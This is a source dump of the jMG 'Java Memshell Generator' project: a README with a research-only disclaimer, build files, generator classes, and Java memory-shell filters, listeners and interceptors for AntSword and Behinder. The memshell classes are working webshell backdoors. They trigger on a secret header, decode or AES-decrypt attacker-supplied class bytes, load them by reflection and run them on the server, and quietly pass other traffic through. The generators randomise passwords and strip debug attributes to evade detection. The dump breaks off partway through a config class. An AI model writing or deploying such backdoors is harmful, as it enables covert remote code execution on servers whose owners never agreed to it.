├── README.md
├── jmg-antsword
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── antsword
│ ├── generator
│ └── AntSwordGenerator.java
│ ├── memshell
│ ├── AntSwordFilter.java
│ └── AntSwordListener.java
│ └── util
│ └── ShellUtil.java
├── jmg-behinder
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── behinder
│ ├── generator
│ └── BehinderGenerator.java
│ ├── memshell
│ ├── BehinderFilter.java
│ ├── BehinderInterceptor.java
│ └── BehinderListener.java
│ └── util
│ └── ShellUtil.java
├── jmg-core
├── pom.xml
└── src
│ └── main
│ ├── java
│ ├── jmg
│ │ └── core
│ │ │ ├── config
│ │ │ ├── AbstractConfig.java
│ │ │ └── Constants.java
│ │ │ ├── format
│ │ │ ├── BASE64Formater.java
│ │ │ ├── BCELFormater.java
│ │ │ ├── BCELoader.java
│ │ │ ├── BCELoaderGenerator.java
│ │ │ ├── BigIntegerFormater.java
│ │ │ ├── IFormater.java
│ │ │ ├── JARAgentFormater.java
│ │ │ ├── JARFormater.java
│ │ │ ├── JSPFormater.java
│ │ │ └── JavaScriptFormater.java
│ │ │ ├── generator
│ │ │ ├── IShellGenerator.java
│ │ │ └── InjectorGenerator.java
│ │ │ ├── jMGCodeApi.java
│ │ │ ├── template
│ │ │ ├── GlassFishFilterInjectorTpl.java
│ │ │ ├── GlassFishListenerInjectorTpl.java
│ │ │ ├── JettyFilterInjectorTpl.java
│ │ │ ├── JettyListenerInjectorTpl.java
│ │ │ ├── ResinFilterInjectorTpl.java
│ │ │ ├── ResinListenerInjectorTpl.java
│ │ │ ├── SpringMVCAgentTransformer.java
│ │ │ ├── SpringMVCInterceptorInjectorTpl.java
│ │ │ ├── SpringWebFluxHandlerMethodInjectorTpl.java
│ │ │ ├── TomcatAgentTransformer.java
│ │ │ ├── TomcatFilterInjectorTpl.java
│ │ │ ├── TomcatListenerInjectorTpl.java
│ │ │ ├── UndertowFilterInjectorTpl.java
│ │ │ ├── UndertowListenerInjectorTpl.java
│ │ │ ├── WebLogicFilterInjectorTpl.java
│ │ │ ├── WebLogicListenerInjectorTpl.java
│ │ │ ├── WebSphereFilterInjectorTpl.java
│ │ │ ├── WebSphereListenerInjectorTpl.java
│ │ │ ├── WildFlyFilterInjectorTpl.java
│ │ │ └── WildFlyListenerInjectorTpl.java
│ │ │ └── util
│ │ │ ├── ClassNameUtil.java
│ │ │ ├── CommonUtil.java
│ │ │ ├── CtClassUtil.java
│ │ │ ├── InjectorUtil.java
│ │ │ ├── JavassistUtil.java
│ │ │ ├── PackageNameUtil.java
│ │ │ ├── RandomHttpHeaderUtil.java
│ │ │ └── ResponseUtil.java
│ └── org
│ │ └── springframework
│ │ └── web
│ │ └── servlet
│ │ └── AsyncHandlerInterceptor.java
│ └── resources
│ └── jmg-agent.jar
├── jmg-custom
├── pom.xml
└── src
│ ├── main
│ └── java
│ │ └── jmg
│ │ └── custom
│ │ └── generator
│ │ └── CustomGenerator.java
│ └── test
│ └── java
│ └── test.java
├── jmg-docs
├── README_EN.md
└── img
│ └── gui.png
├── jmg-godzilla
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── godzilla
│ ├── generator
│ └── GodzillaGenerator.java
│ ├── memshell
│ ├── GodzillaFilter.java
│ ├── GodzillaInterceptor.java
│ ├── GodzillaListener.java
│ └── GodzillaWebFluxHandlerMethod.java
│ └── util
│ └── ShellUtil.java
├── jmg-gui
├── pom.xml
└── src
│ └── main
│ ├── java
│ └── jmg
│ │ └── gui
│ │ ├── form
│ │ ├── jMGForm.form
│ │ └── jMGForm.java
│ │ ├── jMGApp.java
│ │ └── util
│ │ ├── ComponentUtil.java
│ │ ├── JExprUtil.java
│ │ ├── MenuUtil.java
│ │ ├── ResultUtil.java
│ │ ├── ShellGeneratorUtil.java
│ │ └── TextPaneUtil.java
│ └── resources
│ ├── messages_en.properties
│ ├── messages_en.properties.bak
│ ├── messages_zh.properties
│ └── messages_zh.properties.bak
├── jmg-neoregeorg
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── neoregeorg
│ ├── generator
│ └── NeoreGeorgGenerator.java
│ ├── memshell
│ ├── NeoreGeorgFilter.java
│ ├── NeoreGeorgInterceptor.java
│ └── NeoreGeorgListener.java
│ └── util
│ └── ShellUtil.java
├── jmg-suo5
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── suo5
│ ├── generator
│ └── Suo5Generator.java
│ ├── memshell
│ ├── Suo5Filter.java
│ ├── Suo5Interceptor.java
│ └── Suo5Listener.java
│ └── util
│ └── ShellUtil.java
└── pom.xml
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
Java Memshell Generator
4 |
9 | 一款支持高度自定义的 Java 内存马生成工具
10 |
11 |
12 |
13 |
14 |
15 |
16 | > [!WARNING]
17 | > 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
18 |
19 |
20 |
21 | ## 功能
22 |
23 | | 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
24 | |-----------|---------------|------------------------------------------------------------------|---------------|------------|---------|
25 | | Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
26 | | Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
27 | | WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
28 | | Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
29 | | WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | |
30 | | Undertow | | Custom | | JAR_AGENT | |
31 | | GlassFish | | | | JS | |
32 | | | | | | JSP | |
33 |
34 | ## 编译
35 |
36 | - maven
37 |
38 | ```shell
39 | mvn package assembly:single
40 | ```
41 |
42 | - jmg-gui
43 |
44 | ```shell
45 | java -jar ./jmg-gui/target/jmg-gui-1.0.8-jar-with-dependencies.jar
46 | ```
47 |
48 | ## 文档
49 |
50 | - [jMG v1.0.8](https://9ex.org/jmg-1-0-8/)
51 | - [jMG v1.0.6](https://9ex.org/jmg-1-0-6/)
52 | - [jMG v1.0.5](https://9ex.org/jmg-1-0-5/)
53 | - [jMG v1.0.4](https://9ex.org/jmg-1-0-4/)
54 |
55 | ## 致谢
56 |
57 | - https://github.com/c0ny1
58 | - https://github.com/whwlsfb
59 | - https://github.com/feihong-cs/memShell
60 | - https://github.com/su18/MemoryShell
61 | - https://github.com/BeichenDream/GodzillaMemoryShellProject
62 |
63 | ## 协议
64 |
65 | - 遵循 MIT 协议
--------------------------------------------------------------------------------
/jmg-antsword/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | ${revision}
8 |
9 | jmg-antsword
10 |
11 |
12 |
13 |
14 | jmg
15 | jmg-core
16 | ${revision}
17 | compile
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.CtClass;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.generator.IShellGenerator;
8 | import jmg.antsword.util.ShellUtil;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 | import jmg.core.util.ResponseUtil;
12 | public class AntSwordGenerator implements IShellGenerator {
13 |
14 | @Override
15 | public void initShell(AbstractConfig config) {
16 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
17 | }
18 |
19 | @Override
20 | public byte[] makeShell(AbstractConfig config) throws Exception {
21 | initShell(config);
22 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
23 | String shellClassName = ShellUtil.getShellClassName(shellName);
24 | byte[] bytes = modifyShell(shellClassName, config);
25 | config.setShellBytes(bytes);
26 | config.setShellBytesLength(bytes.length);
27 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
28 | return bytes;
29 | }
30 |
31 | @Override
32 | public byte[] modifyShell(String className, AbstractConfig config) {
33 | byte[] bytes = new byte[0];
34 | try {
35 | pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
36 | CtClass ctClass = pool.getCtClass(className);
37 | ctClass.getClassFile().setVersionToJava5();
38 | JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
39 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
41 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
42 |
43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
46 | }
47 | JavassistUtil.removeSourceFileAttribute(ctClass);
48 | bytes = ctClass.toBytecode();
49 | ctClass.detach();
50 | } catch (Exception e) {
51 | e.printStackTrace();
52 | }
53 | return bytes;
54 | }
55 |
56 | }
57 |
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.memshell;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.http.HttpServletRequest;
5 | import javax.servlet.http.HttpServletResponse;
6 | import java.io.IOException;
7 | import java.lang.reflect.Method;
8 | import java.net.URL;
9 | import java.net.URLClassLoader;
10 |
11 | public class AntSwordFilter implements Filter {
12 | public String pass;
13 | public String headerName;
14 | public String headerValue;
15 |
16 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
17 | HttpServletRequest request = (HttpServletRequest) servletRequest;
18 | HttpServletResponse response = (HttpServletResponse) servletResponse;
19 | try {
20 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
21 | String cls = request.getParameter(pass);
22 | if (cls != null) {
23 | try {
24 | byte[] data = doBase64Decode(cls);
25 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
26 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
27 | method.setAccessible(true);
28 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
29 | clazz.newInstance().equals(new Object[]{request, response});
30 | } catch (Exception var7) {
31 | }
32 | }
33 | } else {
34 | filterChain.doFilter(servletRequest, servletResponse);
35 | }
36 | } catch (Exception e) {
37 | filterChain.doFilter(servletRequest, servletResponse);
38 | }
39 | }
40 |
41 | public byte[] doBase64Decode(String str) throws Exception {
42 | try {
43 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
44 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
45 | } catch (Exception var5) {
46 | Class clazz = Class.forName("java.util.Base64");
47 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
48 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
49 | }
50 | }
51 |
52 | public void init(FilterConfig filterConfig) throws ServletException {
53 | }
54 |
55 | public void destroy() {
56 | }
57 | }
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.memshell;
2 |
3 | import javax.servlet.ServletRequestEvent;
4 | import javax.servlet.ServletRequestListener;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.lang.reflect.Field;
8 | import java.lang.reflect.Method;
9 | import java.net.URL;
10 | import java.net.URLClassLoader;
11 |
12 | public class AntSwordListener implements ServletRequestListener {
13 | public String pass;
14 | public String headerName;
15 | public String headerValue;
16 |
17 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
18 | }
19 |
20 | public void requestInitialized(ServletRequestEvent servletRequestEvent) {
21 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
22 | try {
23 | HttpServletResponse response = getResponseFromRequest(request);
24 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
25 | String cls = request.getParameter(pass);
26 | if (cls != null) {
27 | try {
28 | byte[] data = base64Decode(cls);
29 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
31 | method.setAccessible(true);
32 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
33 | clazz.newInstance().equals(new Object[]{request, response});
34 | } catch (Exception var7) {
35 | }
36 | }
37 | }
38 |
39 | } catch (Exception ignored) {
40 | }
41 | }
42 |
43 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
44 | return null;
45 | }
46 |
47 | private static synchronized Object getFV(Object var0, String var1) throws Exception {
48 | Field var2 = null;
49 | Class var3 = var0.getClass();
50 |
51 | while (var3 != Object.class) {
52 | try {
53 | var2 = var3.getDeclaredField(var1);
54 | break;
55 | } catch (NoSuchFieldException var5) {
56 | var3 = var3.getSuperclass();
57 | }
58 | }
59 |
60 | if (var2 == null) {
61 | throw new NoSuchFieldException(var1);
62 | } else {
63 | var2.setAccessible(true);
64 | return var2.get(var0);
65 | }
66 | }
67 |
68 | public byte[] base64Decode(String str) throws Exception {
69 | try {
70 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
71 | return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
72 | } catch (Exception var5) {
73 | Class clazz = Class.forName("java.util.Base64");
74 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
75 | return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
76 | }
77 | }
78 |
79 | }
80 |
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.util;
2 |
3 | import jmg.antsword.memshell.AntSwordFilter;
4 | import jmg.antsword.memshell.AntSwordListener;
5 | import jmg.core.config.Constants;
6 |
7 | import java.util.HashMap;
8 | import java.util.Map;
9 |
10 | public class ShellUtil {
11 |
12 | private static final Map SHELL_CLASSNAME_MAP = new HashMap();
13 | private static final Map> toolMap = new HashMap();
14 |
15 | public ShellUtil() {
16 | }
17 |
18 | public static String getShellName(String toolType, String shellType) {
19 | Map shellMap = toolMap.get(toolType);
20 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
21 | }
22 |
23 | public static String getShellClassName(String shellName) throws Exception {
24 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
25 | throw new Exception("Invalid shell type '" + shellName + "'");
26 | } else {
27 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
28 | }
29 | }
30 |
31 | static {
32 | SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
33 | SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
34 | Map antSwordMap = new HashMap();
35 | antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
36 | antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
37 | toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
38 | }
39 |
40 |
41 | }
42 |
--------------------------------------------------------------------------------
/jmg-behinder/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | ${revision}
8 |
9 | jmg-behinder
10 |
11 |
12 |
13 |
14 | jmg
15 | jmg-core
16 | ${revision}
17 | compile
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.CtClass;
5 | import jmg.behinder.util.ShellUtil;
6 | import jmg.core.config.AbstractConfig;
7 | import jmg.core.config.Constants;
8 | import jmg.core.generator.IShellGenerator;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 | import jmg.core.util.ResponseUtil;
12 |
13 | public class BehinderGenerator implements IShellGenerator {
14 |
15 | @Override
16 | public void initShell(AbstractConfig config) {
17 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
18 | }
19 |
20 | @Override
21 | public byte[] makeShell(AbstractConfig config) throws Exception {
22 | initShell(config);
23 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
24 | String shellClassName = ShellUtil.getShellClassName(shellName);
25 | byte[] bytes = modifyShell(shellClassName, config);
26 | config.setShellBytes(bytes);
27 | config.setShellBytesLength(bytes.length);
28 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
29 | return bytes;
30 | }
31 |
32 | @Override
33 | public byte[] modifyShell(String className, AbstractConfig config) {
34 | byte[] bytes = new byte[0];
35 | try {
36 | pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
37 | CtClass ctClass = pool.getCtClass(className);
38 | ctClass.getClassFile().setVersionToJava5();
39 | JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
42 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
46 | }
47 | JavassistUtil.removeSourceFileAttribute(ctClass);
48 | bytes = ctClass.toBytecode();
49 | ctClass.detach();
50 | } catch (Exception e) {
51 | e.printStackTrace();
52 | }
53 | return bytes;
54 | }
55 |
56 | }
57 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import javax.servlet.*;
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import javax.servlet.http.HttpSession;
9 | import java.io.IOException;
10 | import java.util.HashMap;
11 | import java.util.Map;
12 |
13 |
14 | public class BehinderFilter extends ClassLoader implements Filter {
15 | public String pass;
16 | public String headerName;
17 | public String headerValue;
18 |
19 | public Class g(byte[] b) {
20 | return super.defineClass(b, 0, b.length);
21 | }
22 |
23 | public BehinderFilter() {
24 | }
25 |
26 | public BehinderFilter(ClassLoader c) {
27 | super(c);
28 | }
29 |
30 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
31 | HttpServletRequest request = (HttpServletRequest) servletRequest;
32 | HttpServletResponse response = (HttpServletResponse) servletResponse;
33 |
34 | try {
35 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
36 | HttpSession session = ((HttpServletRequest) servletRequest).getSession();
37 | Map obj = new HashMap();
38 | obj.put("request", servletRequest);
39 | obj.put("response", response);
40 | obj.put("session", session);
41 |
42 | session.putValue("u", this.pass);
43 | Cipher c = Cipher.getInstance("AES");
44 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
45 | (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
46 | } else {
47 | filterChain.doFilter(servletRequest, servletResponse);
48 | }
49 | } catch (Exception e) {
50 | filterChain.doFilter(servletRequest, servletResponse);
51 | }
52 | }
53 |
54 | public byte[] doBase64Decode(String str) throws Exception {
55 | try {
56 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
57 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
58 | } catch (Exception var5) {
59 | Class clazz = Class.forName("java.util.Base64");
60 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
61 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
62 | }
63 | }
64 |
65 | public void init(FilterConfig filterConfig) throws ServletException {
66 | }
67 |
68 | public void destroy() {
69 | }
70 | }
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import org.springframework.web.servlet.AsyncHandlerInterceptor;
4 |
5 | import javax.crypto.Cipher;
6 | import javax.crypto.spec.SecretKeySpec;
7 | import javax.servlet.http.Cookie;
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import javax.servlet.http.HttpSession;
11 | import java.util.HashMap;
12 | import java.util.Map;
13 | import java.util.UUID;
14 |
15 | public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
16 |
17 |
18 | public String pass;
19 |
20 | public String headerName;
21 |
22 | public String headerValue;
23 |
24 |
25 | public Class g(byte[] b) {
26 | return super.defineClass(b, 0, b.length);
27 | }
28 |
29 |
30 | public BehinderInterceptor(ClassLoader c) {
31 | super(c);
32 | }
33 |
34 |
35 | public BehinderInterceptor() {
36 | }
37 |
38 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
39 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
40 | try {
41 | HttpSession session = request.getSession();
42 | Map obj = new HashMap();
43 | obj.put("request", request);
44 | obj.put("response", response);
45 | obj.put("session", session);
46 | session.putValue("u", this.pass);
47 | Cipher c = Cipher.getInstance("AES");
48 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
49 | (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
50 | } catch (Exception e) {
51 | }
52 | return false;
53 | } else {
54 | return true;
55 | }
56 | }
57 |
58 | public static byte[] b64Decode(String bs) throws Exception {
59 | byte[] value = null;
60 |
61 | Class base64;
62 | try {
63 | base64 = Class.forName("java.util.Base64");
64 | Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
65 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
66 | } catch (Exception var6) {
67 | try {
68 | base64 = Class.forName("sun.misc.BASE64Decoder");
69 | Object decoder = base64.newInstance();
70 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
71 | } catch (Exception var5) {
72 | }
73 | }
74 |
75 | return value;
76 | }
77 | }
78 |
79 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.memshell;
2 |
3 | import javax.crypto.Cipher;
4 | import javax.crypto.spec.SecretKeySpec;
5 | import javax.servlet.ServletRequestEvent;
6 | import javax.servlet.ServletRequestListener;
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 | import javax.servlet.http.HttpSession;
10 | import java.lang.reflect.Field;
11 | import java.util.HashMap;
12 | import java.util.Map;
13 |
14 | public class BehinderListener extends ClassLoader implements ServletRequestListener {
15 | public String pass;
16 |
17 | public String headerName;
18 |
19 | public String headerValue;
20 |
21 |
22 | public BehinderListener() {
23 | }
24 |
25 | public BehinderListener(ClassLoader c) {
26 | super(c);
27 | }
28 |
29 |
30 | public Class g(byte[] b) {
31 | return super.defineClass(b, 0, b.length);
32 | }
33 |
34 |
35 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
36 | }
37 |
38 | public void requestInitialized(ServletRequestEvent servletRequestEvent) {
39 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
40 | try {
41 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
42 | HttpServletResponse response = this.getResponseFromRequest(request);
43 | HttpSession session = request.getSession();
44 | Map obj = new HashMap();
45 | obj.put("request", request);
46 | obj.put("response", response);
47 | obj.put("session", session);
48 | try {
49 | session.putValue("u", pass);
50 | Cipher c = Cipher.getInstance("AES");
51 | c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
52 | (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
53 | } catch (Exception var7) {
54 | }
55 | }
56 | } catch (Exception e) {
57 |
58 | }
59 |
60 | }
61 |
62 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
63 | return null;
64 | }
65 |
66 | private static synchronized Object getFV(Object var0, String var1) throws Exception {
67 | Field var2 = null;
68 | Class var3 = var0.getClass();
69 |
70 | while (var3 != Object.class) {
71 | try {
72 | var2 = var3.getDeclaredField(var1);
73 | break;
74 | } catch (NoSuchFieldException var5) {
75 | var3 = var3.getSuperclass();
76 | }
77 | }
78 |
79 | if (var2 == null) {
80 | throw new NoSuchFieldException(var1);
81 | } else {
82 | var2.setAccessible(true);
83 | return var2.get(var0);
84 | }
85 | }
86 |
87 | public byte[] base64Decode(String str) throws Exception {
88 | try {
89 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
90 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
91 | } catch (Exception var5) {
92 | Class clazz = Class.forName("java.util.Base64");
93 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
94 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
95 | }
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.behinder.util;
2 |
3 | import jmg.behinder.memshell.BehinderFilter;
4 | import jmg.behinder.memshell.BehinderInterceptor;
5 | import jmg.behinder.memshell.BehinderListener;
6 | import jmg.core.config.Constants;
7 |
8 | import java.util.HashMap;
9 | import java.util.Map;
10 |
11 | public class ShellUtil {
12 |
13 | private static final Map SHELL_CLASSNAME_MAP = new HashMap();
14 | private static final Map> toolMap = new HashMap();
15 |
16 | public ShellUtil() {
17 | }
18 |
19 | public static String getShellName(String toolType, String shellType) {
20 | Map shellMap = toolMap.get(toolType);
21 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
22 | }
23 |
24 | public static String getShellClassName(String shellName) throws Exception {
25 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
26 | throw new Exception("Invalid shell type '" + shellName + "'");
27 | } else {
28 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
29 | }
30 | }
31 |
32 | static {
33 | SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
34 | SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
35 | SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
36 |
37 | Map behinderMap = new HashMap();
38 | behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
39 | behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
40 | behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
41 | toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
42 |
43 | }
44 |
45 |
46 | }
47 |
--------------------------------------------------------------------------------
/jmg-core/pom.xml:
--------------------------------------------------------------------------------
1 |
3 |
4 | java-memshell-generator
5 | jmg
6 | ${revision}
7 |
8 | 4.0.0
9 | jmg-core
10 |
11 |
12 |
13 |
14 | org.springframework
15 | spring-web
16 | 5.3.29
17 |
18 |
19 |
20 | org.springframework
21 | spring-webflux
22 | 5.3.29
23 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java:
--------------------------------------------------------------------------------
1 | package jmg.core.config;
2 |
3 | import java.util.HashMap;
4 | import java.util.Map;
5 |
6 | public class AbstractConfig {
7 |
8 |
9 | private String injectorClassName;
10 |
11 | public String getInjectorClassName() {
12 | return injectorClassName;
13 | }
14 |
15 | public void setInjectorClassName(String injectorClassName) {
16 | this.injectorClassName = injectorClassName;
17 | }
18 |
19 |
20 | private boolean implementsASTTransformationType = false;
21 |
22 | private boolean implementsScriptEngineFactory = false;
23 |
24 | public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
25 | this.implementsASTTransformationType = implementsASTTransformationType;
26 | }
27 |
28 | public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
29 | this.implementsScriptEngineFactory = implementsScriptEngineFactory;
30 | }
31 |
